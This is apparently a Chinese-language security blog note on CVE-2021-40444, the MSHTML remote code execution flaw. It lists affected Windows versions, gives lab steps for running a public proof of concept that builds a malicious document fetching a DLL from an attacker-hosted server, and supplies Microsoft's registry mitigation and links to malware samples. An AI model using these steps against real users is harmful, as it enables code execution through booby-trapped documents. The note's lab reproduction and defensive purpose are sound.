漏洞说明

CVE-2021-40444 微软发布MSHTML组件漏洞

危害：未经身份验证的攻击者可以利用该漏洞在目标系统上执行代

 1Windows Server, version 20H2 (Server Core Installation)
 2Windows Server, version 2004 (Server Core installation)
 3Windows Server 2022 (Server Core installation)
 4Windows Server 2022
 5Windows Server 2019 (Server Core installation)
 6Windows Server 2019
 7Windows Server 2016 (Server Core installation)
 8Windows Server 2016
 9Windows Server 2012 R2 (Server Core installation)
10Windows Server 2012 R2
11Windows Server 2012 (Server Core installation)
12Windows Server 2012
13Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
14Windows Server 2008 for x64-based Systems Service Pack 2
15Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
16Windows Server 2008 for 32-bit Systems Service Pack 2
17Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
18Windows Server 2008 R2 for x64-based Systems Service Pack 1
19Windows RT 8.1
20Windows 8.1 for x64-based systems
21Windows 8.1 for 32-bit systems
22Windows 7 for x64-based Systems Service Pack 1
23Windows 7 for 32-bit Systems Service Pack 1
24Windows 10 for x64-based Systems
25Windows 10 for 32-bit Systems
26Windows 10 Version 21H1 for x64-based Systems
27Windows 10 Version 21H1 for ARM64-based Systems
28Windows 10 Version 21H1 for 32-bit Systems
29Windows 10 Version 20H2 for x64-based Systems
30Windows 10 Version 20H2 for ARM64-based Systems
31Windows 10 Version 20H2 for 32-bit Systems
32Windows 10 Version 2004 for x64-based Systems
33Windows 10 Version 2004 for ARM64-based Systems
34Windows 10 Version 2004 for 32-bit Systems
35Windows 10 Version 1909 for x64-based Systems
36Windows 10 Version 1909 for ARM64-based Systems
37Windows 10 Version 1909 for 32-bit Systems
38Windows 10 Version 1809 for x64-based Systems
39Windows 10 Version 1809 for ARM64-based Systems
40Windows 10 Version 1809 for 32-bit Systems
41Windows 10 Version 1607 for x64-based Systems
42Windows 10 Version 1607 for 32-bit Systems

测试过程

环境：

安装环境kali2020.4

目标环境：win10  office 2010

参照文档

https://github.com/lockedbyte/CVE-2021-40444

步骤

这是某位大神根据在野利用样本复现出来的，知识的搬运工一下：

 1安装包：
 2sudo apt-get install lcab
 3配置docx
 4
 5下载poc
 6git clone https://github.com/lockedbyte/CVE-2021-40444
 7cd CVE-2021-40444 
 8
 9生成恶意文档
10python3 exploit.py generate test/calc.dll http://192.168.226.128
11
12
13生产服务端
14sudo python3 exploit.py host 80
15
16在虚拟机里打开生产的恶意文档 弹出计算机

缓解措施

微软提供了临时缓解措施：在 Internet Explorer 中禁用所有 ActiveX 控件的安装。

步骤如下：

 1将如下代码复制到文本文件中并以 .reg 文件扩展名保存：
 2
 3
 4Windows Registry Editor Version 5.00
 5[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
 6"1001"=dword:00000003
 7"1004"=dword:00000003
 8[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
 9"1001"=dword:00000003
10"1004"=dword:00000003
11[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
12"1001"=dword:00000003
13"1004"=dword:00000003
14[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
15"1001"=dword:00000003
16
172、双击该 .reg 文件。
18
193、重启系统。

相关学习链接

https://mp.weixin.qq.com/s/KOsb2SksOq_qy0pG3PeYRA

https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A

https://github.com/lockedbyte/CVE-2021-40444

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

https://zhuanlan.zhihu.com/p/408322761

https://bazaar.abuse.ch/sample/938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52/
https://bazaar.abuse.ch/sample/d0fd7acc38b3105facd6995344242f28e45f5384c0fdf2ec93ea24bfbc1dc9e6
https://bazaar.abuse.ch/sample/1fb13a158aff3d258b8f62fe211fabeed03f0763b2acadbccad9e8e39969ea00

https://github.com/rfcxv/CVE-2021-40444-POC

这位大佬分析的比较仔细 分析的方法也比较特殊 建议学习一下

https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/